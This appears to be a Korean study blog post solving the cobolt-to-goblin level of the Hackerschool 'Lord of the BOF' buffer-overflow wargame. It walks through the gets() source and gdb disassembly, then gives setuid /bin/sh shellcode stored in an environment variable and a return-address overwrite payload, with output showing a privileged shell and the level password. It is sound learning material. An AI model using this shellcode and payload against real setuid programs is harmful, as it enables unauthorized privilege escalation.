[lob] 해커스쿨 cobolt -> goblin 풀이

해커스쿨 cobolt 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

cobolt 문제의 아이디인  cobolt 와 password인   hacking exposed 을 입력하여 cobolt의 유저로 접속합니다.

 

 

 

[cobolt@localhost cobolt]$ ls -l
total 16
-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin
-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/cobolt ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 goblin.c 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[cobolt@localhost cobolt]$ cat goblin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

 

 

 

cat 명령어를 사용하여 goblin.c 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다. gremlin 문제와 비슷한 코드인데 strcpy를 이용한 것이 아닌 gets를 통해 buffer의 내용을 입력받는 코드입니다.

 

 

 

[cobolt@localhost cobolt]$ cp goblin cobolt
[cobolt@localhost cobolt]$ ls -l
total 28
-rwsr-sr-x    1 cobolt   cobolt      11824 Jan 10 15:36 cobolt
-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin
-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 goblin 파일을 복사해 cobolt라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[cobolt@localhost cobolt]$ gdb cobolt
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>
:       push   %ebp 
0x80483f9 <main+1>:     mov    %esp,%ebp
0x80483fb <main+3>:     sub    $0x10,%esp
0x80483fe <main+6>:     lea    0xfffffff0(%ebp),%eax
0x8048401 <main+9>:     push   %eax
0x8048402 <main+10>:    call   0x804830c  <gets>
0x8048407 <main+15>:    add    $0x4,%esp
0x804840a <main+18>:    lea    0xfffffff0(%ebp),%eax
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   $0x8048470
0x8048413 <main+27>:    call   0x804833c  <printf>
0x8048418 <main+32>:    add    $0x8,%esp
0x804841b <main+35>:    leave
0x804841c <main+36>:    ret
0x804841d <main+37>:    nop
0x804841e <main+38>:    nop
0x804841f <main+39>:    nop
End of assembler dump.

 

 

 

cobolt 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

 

 

 

1. 0x80483fb <main+3>:     sub    $0x10,%esp

0x10을 10진수로 변환하면 16입니다. 스택에 16byte를 할당하는 것을 의미합니다.

 

 

2. 0x8048402 <main+10>:    call   0x804830c  <gets>

goblin.c 코드에서 gets 함수에 인자로 buffer가 전달됩니다. <main + 9>에서 push 되는 주소가 buffer의 시작 주소가 됩니다. 따라서 buffer의 시작 지점은 ebp - [0xfffffff0의 2의 보수 취한 값]이 됩니다.

 

0000 => 1111 => 10000 = 16

buffer의 시작 지점이 ebp - 16부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

buffer 공간의 크기를 보니 셸 코드를 넣을 공간이 충분하지 않습니다. 따라서 환경 변수를 이용하여 셸 코드를 넣어주도록 하겠습니다.

 

 

 

[cobolt@localhost cobolt]$ bash2
[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[cobolt@localhost cobolt]$ vi getenv.c


#include <stdio.h>

int main(void){
        printf("ADDR : 0x%x\n",getenv("EGG"));
}


[cobolt@localhost cobolt]$ gcc -o getenv getenv.c
[cobolt@localhost cobolt]$ ./getenv
ADDR : 0xbffffe43

 

 

 

셸 코드는 setuid가 포함된 41byte의 셸 코드를 넣어주었고, 셸 코드를 넣은 환경 변수의 주소를 확인해보니  0xbffffe43 이라는 것을 알 수 있습니다. 

 

그럼 이제 페이로드를 구성해보도록 하겠습니다. buffer는 ebp - 16부터 시작되므로 sfp까지 총 20byte를 \x90으로 채워주고 return 부분을 위의 주소로 채워주면 될 것입니다. 

 

 

 

페이로드

(python -c 'print "\x90"*20+"\x43\xfe\xff\xbf"';cat) | ./goblin

 

 

 

[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20+"\x43\xfe\xff\xbf"';cat) | ./goblin
Cþÿ¿
id
uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)
my-
[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20+"\x43\xfe\xff\xbf"';cat) | ./goblin
Cþÿ¿
my-pass
euid = 503
hackers proof

 

 

 

위의 페이로드를 넣고 id 명령을 입력하면 uid가 goblin인 것을 확인할 수 있습니다. 그리고 my-pass를 입력하면 goblin 계정의 password를 알 수 있습니다.

 

 

 

goblin 비밀번호

더보기

euid = 503 
hackers proof 

 

이 글을 공유하기

댓글

Designed by JB FACTORY